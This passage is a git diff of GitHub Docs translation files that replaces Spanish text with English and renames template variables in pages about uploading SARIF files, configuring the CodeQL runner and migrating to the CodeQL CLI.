repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)"{% ifversion codeql-runner-supported %}, "[Running {% data variables.code-scanning.codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)",{% endif %} or "[Installing CodeQL CLI in your CI system](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)." You can upload multiple SARIF files for the same commit, and display the data from each file as {% data variables.product.prodname_code_scanning %} results. When you upload multiple SARIF files for a commit, you must indicate a "category" for each analysis. The way to specify a category varies according to the analysis method: - Using the {% data variables.product.prodname_codeql_cli %} directly, pass the `--sarif-category` argument to the `codeql database analyze` command when you generate SARIF files. For more information, see "[Configuring CodeQL CLI in your CI system](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system#about-generating-code-scanning-results-with-codeql-cli)." @@ -57,7 +57,7 @@ The filepath has to be consistent across the runs to enable a computation of a s {% data variables.product.prodname_dotcom %} uses the `partialFingerprints` property in the OASIS standard to detect when two results are logically identical. For more information, see the "[partialFingerprints property](https://docs.oasis-open.org/sarif/sarif/v2.1.0/cs01/sarif-v2.1.0-cs01.html#_Toc16012611)" entry in the OASIS documentation. -SARIF files created by the {% data variables.product.prodname_codeql_workflow %}, {% ifversion codeql-runner-supported %}using the {% data variables.product.prodname_codeql_runner %}, {% endif %}or using the {% data variables.product.prodname_codeql_cli %} include fingerprint data. If you upload a SARIF file using the `upload-sarif` action and this data is missing, {% data variables.product.prodname_dotcom %} attempts to populate the `partialFingerprints` field from the source files. For more information about uploading results, see "[Uploading a SARIF file to {% data variables.product.prodname_dotcom %}](/code-security/secure-coding/uploading-a-sarif-file-to-github#uploading-a-code-scanning-analysis-with-github-actions)." +SARIF files created by the {% data variables.code-scanning.codeql_workflow %}, {% ifversion codeql-runner-supported %}using the {% data variables.code-scanning.codeql_runner %}, {% endif %}or using the {% data variables.product.prodname_codeql_cli %} include fingerprint data. If you upload a SARIF file using the `upload-sarif` action and this data is missing, {% data variables.product.prodname_dotcom %} attempts to populate the `partialFingerprints` field from the source files. For more information about uploading results, see "[Uploading a SARIF file to {% data variables.product.prodname_dotcom %}](/code-security/secure-coding/uploading-a-sarif-file-to-github#uploading-a-code-scanning-analysis-with-github-actions)." If you upload a SARIF file without fingerprint data using the `/code-scanning/sarifs` API endpoint, the {% data variables.product.prodname_code_scanning %} alerts will be processed and displayed, but users may see duplicate alerts. To avoid seeing duplicate alerts, you should calculate fingerprint data and populate the `partialFingerprints` property before you upload the SARIF file. You may find the script that the `upload-sarif` action uses a helpful starting point: https://github.com/github/codeql-action/blob/main/src/fingerprints.ts. For more information about the API, see "[Upload an analysis as SARIF data](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data)." diff --git a/translations/es-ES/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md b/translations/es-ES/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md index eb485eb9ab..bbd4e2ad7e 100644 --- a/translations/es-ES/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md +++ b/translations/es-ES/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md @@ -1,5 +1,5 @@ --- -title: Subir un archivo SARIF a GitHub +title: Uploading a SARIF file to GitHub shortTitle: Upload a SARIF file intro: '{% data reusables.code-scanning.you-can-upload-third-party-analysis %}' permissions: 'People with write permissions to a repository can upload {% data variables.product.prodname_code_scanning %} data generated outside {% data variables.product.prodname_dotcom %}.' @@ -23,57 +23,54 @@ topics: - Repositories - CI - SARIF -ms.openlocfilehash: 80f95a5c74a465a285d73f1af9719b2f7a4981d6 -ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 09/09/2022 -ms.locfileid: '147705761' --- -{% data reusables.code-scanning.beta %} {% data reusables.code-scanning.enterprise-enable-code-scanning %} -## Acerca de la carga de archivos SARIF para {% data variables.product.prodname_code_scanning %} -{% data variables.product.prodname_dotcom %} crea alertas de {% data variables.product.prodname_code_scanning %} en un repositorio utilizando información de los archivos de Formato de Intercambio para Resultados de Análisis Estático (SARIF). El archivo SARIF puede generarse desde una herramienta de análisis compatible con SARIF que ejecutes en el mismo flujo de trabajo de {% data variables.product.prodname_actions %} que utilizaste para cargar el archivo. Como alternativa, cuando se genere el archivo como un artefacto fuera de tu repositorio, puedes cargar el archivo SARIF directamente a algún repositorio y utilizar el flujo de trabajo para subir este archivo. Para más información, vea "[Administración de alertas de {% data variables.product.prodname_code_scanning %} para el repositorio](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)". +{% data reusables.code-scanning.beta %} +{% data reusables.code-scanning.enterprise-enable-code-scanning %} -Puedes generar archivos SARIF utilizando muchas herramientas de prueba de seguridad para análisis estático, incluyendo a {% data variables.product.prodname_codeql %}. Los resultados deben usar la versión 2.1.0 de SARIF. Para más información, vea "[Compatibilidad con SARIF para {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/sarif-support-for-code-scanning)". +## About SARIF file uploads for {% data variables.product.prodname_code_scanning %} -Puedes cargar los resultados mediante {% data variables.product.prodname_actions %}, la API de {% data variables.product.prodname_code_scanning %},{% ifversion codeql-runner-supported %} el {% data variables.product.prodname_codeql_runner %}{% endif %} o la {% data variables.product.prodname_codeql_cli %}. El mejor método de carga dependerá de cómo generas el archivo SARIF, por ejemplo, si utilizas: +{% data variables.product.prodname_dotcom %} creates {% data variables.product.prodname_code_scanning %} alerts in a repository using information from Static Analysis Results Interchange Format (SARIF) files. SARIF files can be uploaded to a repository using the API or {% data variables.product.prodname_actions %}. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)." -- {% data variables.product.prodname_actions %} para ejecutar la acción de {% data variables.product.prodname_codeql %}, no hay que hacer nada más. La acción de {% data variables.product.prodname_codeql %} carga el archivo de SARIF automáticamente cuando completa el análisis. -- {% data variables.product.prodname_actions %} para ejecutar una herramienta de análisis compatible con SARIF, podías actualizar el flujo de trabajo para que incluya un último paso que cargue los resultados (míralo más adelante). - - La {% data variables.product.prodname_codeql_cli %} para ejecutar el {% data variables.product.prodname_code_scanning %} en el sistema de CI, puedes usar la CLI para cargar los resultados en {% data variables.product.prodname_dotcom %} (para obtener más información, consulta "[Instalación de la {% data variables.product.prodname_codeql_cli %} en el sistema de CI](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)").{% ifversion codeql-runner-supported %} -- El {% data variables.product.prodname_codeql_runner %}, para ejecutar {% data variables.product.prodname_code_scanning %} en tu sistema de CI, de manera predeterminada, el ejecutor carga automáticamente los resultados en {% data variables.product.prodname_dotcom %} tras la finalización. Si bloquea la carga automática, cuando esté listo para cargar los resultados, puede usar el comando `upload` (para más información, vea "[Ejecución de {% data variables.product.prodname_codeql_runner %} en el sistema de CI](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)").{% endif %} -- Una herramienta que genera resultados como un artefacto fuera del repositorio, puede usar la API {% data variables.product.prodname_code_scanning %} para cargar el archivo (para más información, vea "[Carga de un análisis como datos de SARIF](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data)"). +You can generate SARIF files using many static analysis security testing tools, including {% data variables.product.prodname_codeql %}. The results must use SARIF version 2.1.0. For more information, see "[SARIF support for {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/sarif-support-for-code-scanning)." + +You can upload the results using {% data variables.product.prodname_actions %}, the {% data variables.product.prodname_code_scanning %} API,{% ifversion codeql-runner-supported %} the {% data variables.code-scanning.codeql_runner %},{% endif %} or the {% data variables.product.prodname_codeql_cli %}. The best upload method will depend on how you generate the SARIF file, for example, if you use: + +- {% data variables.product.prodname_actions %} to run the {% data variables.product.prodname_codeql %} action, there is no further action required. The {% data variables.product.prodname_codeql %} action uploads the SARIF file automatically when it completes analysis. +- {% data variables.product.prodname_actions %} to run a SARIF-compatible analysis tool, you could update the workflow to include a final step that uploads the results (see below). + - The {% data variables.product.prodname_codeql_cli %} to run {% data variables.product.prodname_code_scanning %} in your CI system, you can use the CLI to upload results to {% data variables.product.prodname_dotcom %} (for more information, see "[Installing {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)").{% ifversion codeql-runner-supported %} +- The {% data variables.code-scanning.codeql_runner %}, to run {% data variables.product.prodname_code_scanning %} in your CI system, by default the runner automatically uploads results to {% data variables.product.prodname_dotcom %} on completion. If you block the automatic upload, when you are ready to upload results you can use the `upload` command (for more information, see "[Running {% data variables.code-scanning.codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)").{% endif %} +- A tool that generates results as an artifact outside of your repository, you can use the {% data variables.product.prodname_code_scanning %} API to upload the file (for more information, see "[Upload an analysis as SARIF data](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data)"). {% data reusables.code-scanning.not-available %} -## Cargar un análisis de {% data variables.product.prodname_code_scanning %} con {% data variables.product.prodname_actions %} +## Uploading a {% data variables.product.prodname_code_scanning %} analysis with {% data variables.product.prodname_actions %} -Para utilizar las {% data variables.product.prodname_actions %} para cargar un archivo SARIF de terceros en un repositorio, necesitas un flujo de trabajo. Para más información, vea "[Más información sobre {% data variables.product.prodname_actions %}](/actions/learn-github-actions)". +To use {% data variables.product.prodname_actions %} to upload a third-party SARIF file to a repository, you'll need a workflow. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)." -El flujo de trabajo tendrá que usar la acción `upload-sarif`, que forma parte del repositorio `github/codeql-action`. Tiene parámetros de entrada que puedes utilizar para configurar la carga. Los parámetros de entrada principales que utilizarás serán: +Your workflow will need to use the `upload-sarif` action, which is part of the `github/codeql-action` repository. It has input parameters that you can use to configure the upload. The main input parameters you'll use are: -- `sarif-file`, que configura el archivo o directorio de los archivos SARIF que se van a cargar. La ruta de acceso del directorio o archivo es relativa a la raíz del repositorio. -- `category` (opcional), que asigna una categoría para los resultados en el archivo SARIF. Esto te permite analizar la misma confirmación de varias formas y revisar los resultados utilizando la vista del {% data variables.product.prodname_code_scanning %} en {% data variables.product.prodname_dotcom %}. Por ejemplo, puedes analizar herramientas múltiples y, en los mono-repositorios, puedes analizar pedazos diferentes del repositorio con base en el subconjunto de archivos que cambiaron. +- `sarif-file`, which configures the file or directory of SARIF files to be uploaded. The directory or file path is relative to the root of the repository. +- `category` (optional), which assigns a category for results in the SARIF file. This enables you to analyze the same commit in multiple ways and review the results using the {% data variables.product.prodname_code_scanning %} views in {% data variables.product.prodname_dotcom %}. For example, you can analyze using multiple tools, and in mono-repos, you can analyze different slices of the repository based on the subset of changed files. -Para más información, vea la [acción `upload-sarif`](https://github.com/github/codeql-action/tree/{% ifversion actions-node16-action %}v2{% else %}v1{% endif %}/upload-sarif). +For more information see the [`upload-sarif` action](https://github.com/github/codeql-action/tree/{% ifversion actions-node16-action %}v2{% else %}v1{% endif %}/upload-sarif). -La acción `upload-sarif` se puede configurar para ejecutarse cuando se producen los eventos `push` y `scheduled`. Para más información sobre los eventos de {% data variables.product.prodname_actions %}, vea "[Eventos que desencadenan flujos de trabajo](/actions/reference/events-that-trigger-workflows)". +The `upload-sarif` action can be configured to run when the `push` and `scheduled` event occur. For more information about {% data variables.product.prodname_actions %} events, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)." -Si el archivo SARIF no incluye `partialFingerprints`, la acción `upload-sarif` calculará el campo `partialFingerprints` automáticamente e intentará evitar alertas duplicadas. {% data variables.product.prodname_dotcom %} solo puede crear `partialFingerprints` cuando el repositorio contiene el archivo SARIF y el código fuente usado en el análisis estático. Para más información sobre cómo evitar alertas duplicadas, vea "[Acerca de la compatibilidad con SARIF para el análisis de código](/code-security/secure-coding/sarif-support-for-code-scanning#providing-data-to-track-code-scanning-alerts-across-runs)". +If your SARIF file doesn't include `partialFingerprints`, the `upload-sarif` action will calculate the `partialFingerprints` field for you and attempt to prevent duplicate alerts. {% data variables.product.prodname_dotcom %} can only create `partialFingerprints` when the repository contains both the SARIF file and the source code used in the static analysis. For more information about preventing duplicate alerts, see "[About SARIF support for code scanning](/code-security/secure-coding/sarif-support-for-code-scanning#providing-data-to-track-code-scanning-alerts-across-runs)." {% data reusables.code-scanning.upload-sarif-alert-limit %} -### Ejemplo de flujo de trabajo para los archivos SARIF generados fuera de un repositorio +### Example workflow for SARIF files generated outside of a repository -Puedes crear un nuevo flujo de trabajo que cargue archivos SARIF después de que los confirmes en tu repositorio. Esto resulta útil cuando el archivo SARIF se genera como un artefacto fuera del repositorio. +You can create a new workflow that uploads SARIF files after you commit them to your repository. This is useful when the SARIF file is generated as an artifact outside of your repository. -Este ejemplo de flujo de trabajo se ejecuta cada que las confirmaciones se cargan al repositorio. La acción usa la propiedad `partialFingerprints` para determinar si se han producido cambios. Además de ejecutarse cuando se insertan confirmaciones, el flujo de trabajo está programado para ejecutarse una vez a la semana. Para más información, vea "[Eventos que desencadenan flujos de trabajo](/actions/reference/events-that-trigger-workflows)". +This example workflow runs anytime commits are pushed to the repository. The action uses the `partialFingerprints` property to determine if changes have occurred. In addition to running when commits are pushed, the workflow is scheduled to run once per week. For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)." -Este flujo de trabajo carga el archivo `results.sarif` ubicado en la raíz del repositorio. Para más información sobre cómo crear un archivo de flujo de trabajo, vea "[Más información sobre {% data variables.product.prodname_actions %}](/actions/learn-github-actions)". +This workflow uploads the `results.sarif` file located in the root of the repository. For more information about creating a workflow file, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)." -Como alternativa, puedes modificar este flujo de trabajo para cargar un directorio de archivos SARIF. Por ejemplo, podría colocar todos los archivos SARIF en un directorio en la raíz del repositorio denominado `sarif-output` y establecer el parámetro de entrada de la acción `sarif_file` en `sarif-output`. Tenga en cuenta que si carga un directorio, cada archivo SARIF debe incluir un valor `runAutomationDetails.id` único para definir la categoría de los resultados. Para más información, vea "[Objeto `runAutomationDetails`](/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning#runautomationdetails-object)". +Alternatively, you could modify this workflow to upload a directory of SARIF files. For example, you could place all SARIF files in a directory in the root of your repository called `sarif-output` and set the action's input parameter `sarif_file` to `sarif-output`. Note that if you upload a directory, each SARIF file must include a unique `runAutomationDetails.id` to define the category for the results. For more information, see "[`runAutomationDetails` object](/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning#runautomationdetails-object)." ```yaml name: "Upload SARIF" @@ -108,13 +105,13 @@ jobs: category: my-analysis-tool ``` -### Ejemplo de flujo de trabajo que ejecuta la herramienta de análisis ESLint +### Example workflow that runs the ESLint analysis tool -Si genera el archivo SARIF de terceros como parte de un flujo de trabajo de integración continua (CI), puede agregar la acción `upload-sarif` como un paso después de ejecutar las pruebas de CI. Si aún no tienes un flujo de trabajo de IC, puedes crearlo utilizando una plantilla de {% data variables.product.prodname_actions %}. Para más información, vea el "[Inicio rápido de {% data variables.product.prodname_actions %}](/actions/quickstart)". +If you generate your third-party SARIF file as part of a continuous integration (CI) workflow, you can add the `upload-sarif` action as a step after running your CI tests. If you don't already have a CI workflow, you can create one using a {% data variables.product.prodname_actions %} template. For more information, see the "[{% data variables.product.prodname_actions %} quickstart](/actions/quickstart)." -Este ejemplo de flujo de trabajo se ejecuta cada que las confirmaciones se cargan al repositorio. La acción usa la propiedad `partialFingerprints` para determinar si se han producido cambios. Además de ejecutarse cuando se insertan confirmaciones, el flujo de trabajo está programado para ejecutarse una vez a la semana. Para más información, vea "[Eventos que desencadenan flujos de trabajo](/actions/reference/events-that-trigger-workflows)". +This example workflow runs anytime commits are pushed to the repository. The action uses the `partialFingerprints` property to determine if changes have occurred. In addition to running when commits are pushed, the workflow is scheduled to run once per week. For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)." -El flujo de trabajo muestra un ejemplo de ejecución de la herramienta de análisis estático ESLint como un paso en un flujo de trabajo. El paso `Run ESLint` ejecuta la herramienta ESLint y genera el archivo `results.sarif`. Después, el flujo de trabajo carga el archivo `results.sarif` en {% data variables.product.prodname_dotcom %} mediante la acción `upload-sarif`. Para más información sobre cómo crear un archivo de flujo de trabajo, vea "[Introducción a Acciones de GitHub](/actions/learn-github-actions/introduction-to-github-actions)". +The workflow shows an example of running the ESLint static analysis tool as a step in a workflow. The `Run ESLint` step runs the ESLint tool and outputs the `results.sarif` file. The workflow then uploads the `results.sarif` file to {% data variables.product.prodname_dotcom %} using the `upload-sarif` action. For more information about creating a workflow file, see "[Introduction to GitHub Actions](/actions/learn-github-actions/introduction-to-github-actions)." ```yaml name: "ESLint analysis" @@ -150,9 +147,9 @@ jobs: sarif_file: results.sarif ``` -## Información adicional +## Further reading -- "[Sintaxis de flujos de trabajo para {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)" -- "[Visualización del historial de flujos de trabajo](/actions/managing-workflow-runs/viewing-workflow-run-history)" -- "[Acerca de {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} en el sistema de CI](/code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system)" -- "[Carga de un análisis como datos de SARIF](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data)" +- "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)" +- "[Viewing your workflow history](/actions/managing-workflow-runs/viewing-workflow-run-history)" +- "[About {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in your CI system](/code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system)" +- "[Upload an analysis as SARIF data](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data)" diff --git a/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system.md b/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system.md index 09f10cd3f0..de3bc80cfb 100644 --- a/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system.md +++ b/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system.md @@ -57,7 +57,7 @@ You can display the command-line help for any command using the `--help` ``` -`/path/to-runner/` depends on where you've downloaded the {% data variables.product.prodname_codeql_runner %} on your CI system. `codeql-runner-OS` depends on the operating system you use. -There are three versions of the {% data variables.product.prodname_codeql_runner %}, `codeql-runner-linux`, `codeql-runner-macos`, and `codeql-runner-win`, for Linux, macOS, and Windows systems respectively. +`/path/to-runner/` depends on where you've downloaded the {% data variables.code-scanning.codeql_runner %} on your CI system. `codeql-runner-OS` depends on the operating system you use. +There are three versions of the {% data variables.code-scanning.codeql_runner %}, `codeql-runner-linux`, `codeql-runner-macos`, and `codeql-runner-win`, for Linux, macOS, and Windows systems respectively. -To customize the way the {% data variables.product.prodname_codeql_runner %} scans your code, you can use flags, such as `--languages` and `--queries`, or you can specify custom settings in a separate configuration file. +To customize the way the {% data variables.code-scanning.codeql_runner %} scans your code, you can use flags, such as `--languages` and `--queries`, or you can specify custom settings in a separate configuration file. ## Scanning pull requests @@ -64,7 +64,7 @@ $ /path/to-runner/codeql-runner-linux analyze --ref refs/pull/42/merge ## Overriding automatic language detection -The {% data variables.product.prodname_codeql_runner %} automatically detects and scans code written in the supported languages. +The {% data variables.code-scanning.codeql_runner %} automatically detects and scans code written in the supported languages. {% data reusables.code-scanning.codeql-languages-bullets %} @@ -84,11 +84,11 @@ $ /path/to-runner/codeql-runner-linux init --languages cpp,java To add one or more queries, pass a comma-separated list of paths to the `--queries` flag of the `init` command. You can also specify additional queries in a configuration file. -If you also are using a configuration file for custom settings, and you are also specifying additional queries with the `--queries` flag, the {% data variables.product.prodname_codeql_runner %} uses the additional queries specified with the `--queries` flag instead of any in the configuration file. +If you also are using a configuration file for custom settings, and you are also specifying additional queries with the `--queries` flag, the {% data variables.code-scanning.codeql_runner %} uses the additional queries specified with the `--queries` flag instead of any in the configuration file. If you want to run the combined set of additional queries specified with the flag and in the configuration file, prefix the value passed to `--queries` with the `+` symbol. For more information, see "[Using a custom configuration file](#using-a-custom-configuration-file)." -In the following example, the `+` symbol ensures that the {% data variables.product.prodname_codeql_runner %} uses the additional queries together with any queries specified in the referenced configuration file. +In the following example, the `+` symbol ensures that the {% data variables.code-scanning.codeql_runner %} uses the additional queries together with any queries specified in the referenced configuration file. ```shell $ /path/to-runner/codeql-runner-linux init --config-file .github/codeql/codeql-config.yml @@ -97,7 +97,7 @@ $ /path/to-runner/codeql-runner-linux init --config-file .github/codeql/codeql-c ## Using a custom configuration file -Instead of passing additional information to the {% data variables.product.prodname_codeql_runner %} commands, you can specify custom settings in a separate configuration file. +Instead of passing additional information to the {% data variables.code-scanning.codeql_runner %} commands, you can specify custom settings in a separate configuration file. The configuration file is a YAML file. It uses syntax similar to the workflow syntax for {% data variables.product.prodname_actions %}, as illustrated in the examples below. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)." @@ -117,7 +117,7 @@ $ /path/to-runner/codeql-runner-linux init --config-file .github/codeql/codeql-c For the compiled languages C/C++, C#,{% ifversion codeql-go-autobuild %} Go,{% endif %} and Java, {% data variables.product.prodname_codeql %} builds the code before analyzing it. {% data reusables.code-scanning.analyze-go %} -For many common build systems, the {% data variables.product.prodname_codeql_runner %} can build the code automatically. To attempt to build the code automatically, run `autobuild` between the `init` and `analyze` steps. Note that if your repository requires a specific version of a build tool, you may need to install the build tool manually first. +For many common build systems, the {% data variables.code-scanning.codeql_runner %} can build the code automatically. To attempt to build the code automatically, run `autobuild` between the `init` and `analyze` steps. Note that if your repository requires a specific version of a build tool, you may need to install the build tool manually first. The `autobuild` process only ever attempts to build _one_ compiled language for a repository. The language automatically selected for analysis is the language with the most files. If you want to choose a language explicitly, use the `--language` flag of the `autobuild` command. @@ -125,33 +125,33 @@ The `autobuild` process only ever attempts to build _one_ compiled language for $ /path/to-runner/codeql-runner-linux autobuild --language csharp ``` -If the `autobuild` command can't build your code, you can run the build steps yourself, between the `init` and `analyze` steps. For more information, see "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system#compiled-language-example)." +If the `autobuild` command can't build your code, you can run the build steps yourself, between the `init` and `analyze` steps. For more information, see "[Running {% data variables.code-scanning.codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system#compiled-language-example)." ## Uploading {% data variables.product.prodname_code_scanning %} data to {% data variables.product.prodname_dotcom %} -By default, the {% data variables.product.prodname_codeql_runner %} uploads results from {% data variables.product.prodname_code_scanning %} when you run the `analyze` command. You can also upload SARIF files separately, by using the `upload` command. +By default, the {% data variables.code-scanning.codeql_runner %} uploads results from {% data variables.product.prodname_code_scanning %} when you run the `analyze` command. You can also upload SARIF files separately, by using the `upload` command. Once you've uploaded the data, {% data variables.product.prodname_dotcom %} displays the alerts in your repository. - If you uploaded to a pull request, for example `--ref refs/pull/42/merge` or `--ref refs/pull/42/head`, then the results appear as alerts in a pull request check. For more information, see "[Triaging code scanning alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)." - If you uploaded to a branch, for example `--ref refs/heads/my-branch`, then the results appear in the **Security** tab for your repository. For more information, see "[Managing code scanning alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)." -## {% data variables.product.prodname_codeql_runner %} command reference +## {% data variables.code-scanning.codeql_runner %} command reference -The {% data variables.product.prodname_codeql_runner %} supports the following commands and flags. +The {% data variables.code-scanning.codeql_runner %} supports the following commands and flags. ### `init` -Initializes the {% data variables.product.prodname_codeql_runner %} and creates a {% data variables.product.prodname_codeql %} database for each language to be analyzed. +Initializes the {% data variables.code-scanning.codeql_runner %} and creates a {% data variables.product.prodname_codeql %} database for each language to be analyzed. | Flag | Required | Input value | | ---- |:--------:| ----------- | | `--repository` | ✓ | Name of the repository to initialize. | | `--github-url` | ✓ | URL of the {% data variables.product.prodname_dotcom %} instance where your repository is hosted. | | `--github-auth-stdin` | ✓ | Read the {% data variables.product.prodname_github_apps %} token or {% data variables.product.pat_generic %} from standard input. | -| `--languages` | | Comma-separated list of languages to analyze. By default, the {% data variables.product.prodname_codeql_runner %} detects and analyzes all supported languages in the repository. | +| `--languages` | | Comma-separated list of languages to analyze. By default, the {% data variables.code-scanning.codeql_runner %} detects and analyzes all supported languages in the repository. | | `--queries` | | Comma-separated list of additional queries to run, in addition to the default suite of security queries. This overrides the `queries` setting in the custom configuration file. | | `--config-file` | | Path to custom configuration file. | -| `--codeql-path` | | Path to a copy of the {% data variables.product.prodname_codeql %} CLI executable to use. By default, the {% data variables.product.prodname_codeql_runner %} downloads a copy. | +| `--codeql-path` | | Path to a copy of the {% data variables.product.prodname_codeql %} CLI executable to use. By default, the {% data variables.code-scanning.codeql_runner %} downloads a copy. | | `--temp-dir` | | Directory where temporary files are stored. The default is `./codeql-runner`. | | `--tools-dir` | | Directory where {% data variables.product.prodname_codeql %} tools and other files are stored between runs. The default is a subdirectory of the home directory. | | `--checkout-path` | | The path to the checkout of your repository. The default is the current working directory. | @@ -166,7 +166,7 @@ Attempts to build the code for the compiled languages C/C++, C#, and Java. For t | Flag | Required | Input value | | ---- |:--------:| ----------- | -| `--language` | | The language to build. By default, the {% data variables.product.prodname_codeql_runner %} builds the compiled language with the most files. | +| `--language` | | The language to build. By default, the {% data variables.code-scanning.codeql_runner %} builds the compiled language with the most files. | | `--temp-dir` | | Directory where temporary files are stored. The default is `./codeql-runner`. | | `--debug` | | None. Prints more verbose output. | | `-h`, `--help` | | None. Displays help for the command. | @@ -183,7 +183,7 @@ Analyzes the code in the {% data variables.product.prodname_codeql %} databases | `--github-url` | ✓ | URL of the {% data variables.product.prodname_dotcom %} instance where your repository is hosted. | | `--github-auth-stdin` | ✓ | Read the {% data variables.product.prodname_github_apps %} token or {% data variables.product.pat_generic %} from standard input. | | `--checkout-path` | | The path to the checkout of your repository. The default is the current working directory. | -| `--no-upload` | | None. Stops the {% data variables.product.prodname_codeql_runner %} from uploading the results to {% data variables.product.product_name %}. | +| `--no-upload` | | None. Stops the {% data variables.code-scanning.codeql_runner %} from uploading the results to {% data variables.product.product_name %}. | | `--output-dir` | | Directory where the output SARIF files are stored. The default is in the directory of temporary files. | | `--ram` | | Amount of memory to use when running queries. The default is to use all available memory. | | `--no-add-snippets` | | None. Excludes code snippets from the SARIF output. | diff --git a/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli.md b/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli.md index 316b619612..a2d8162af9 100644 --- a/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli.md +++ b/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli.md @@ -1,7 +1,7 @@ --- -title: Migrarse del ejecutor de CodeQL al CLI de CodeQL +title: Migrating from the CodeQL runner to CodeQL CLI shortTitle: Migrating from the CodeQL runner -intro: 'Puedes utilizar el {% data variables.product.prodname_codeql_cli %} para completar las mismas tareas que hacías con el {% data variables.product.prodname_codeql_runner %}.' +intro: 'You can use the {% data variables.product.prodname_codeql_cli %} to complete the same tasks as with the {% data variables.code-scanning.codeql_runner %}.' product: '{% data reusables.gated-features.code-scanning %}' versions: fpt: '*' @@ -12,57 +12,52 @@ topics: - Advanced Security - Code scanning - CodeQL -ms.openlocfilehash: c58dfe006a1f9189ece847559d5ecfafde1f7d81 -ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 09/10/2022 -ms.locfileid: '145116065' --- -# Migrarse del {% data variables.product.prodname_codeql_runner %} al {% data variables.product.prodname_codeql_cli %} -El {% data variables.product.prodname_codeql_runner %} se va a obsoletizar. Puedes utilizar la versión 2.6.2 del {% data variables.product.prodname_codeql_cli %} y superiores. -Este documento describe cómo migrar flujos de trabajo comunes desde el {% data variables.product.prodname_codeql_runner %} hacia el {% data variables.product.prodname_codeql_cli %}. +# Migrating from the {% data variables.code-scanning.codeql_runner %} to the {% data variables.product.prodname_codeql_cli %} -## Instalación +The {% data variables.code-scanning.codeql_runner %} is being deprecated. You can use the {% data variables.product.prodname_codeql_cli %} version 2.6.2 and greater instead. +This document describes how to migrate common workflows from the {% data variables.code-scanning.codeql_runner %} to the {% data variables.product.prodname_codeql_cli %}. -Descarga el **paquete {% data variables.product.prodname_codeql %}** del [repositorio `github/codeql-action`](https://github.com/github/codeql-action/releases). Este paquete contiene al {% data variables.product.prodname_codeql_cli %} y las consultas estándar y librerías de {% data variables.product.prodname_codeql %}. +## Installation -Para más información sobre cómo configurar {% data variables.product.prodname_codeql_cli %}, consulta "[Instalación de {% data variables.product.prodname_codeql_cli %} en el sistema de CI](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)". +Download the **{% data variables.product.prodname_codeql %} bundle** from the [`github/codeql-action` 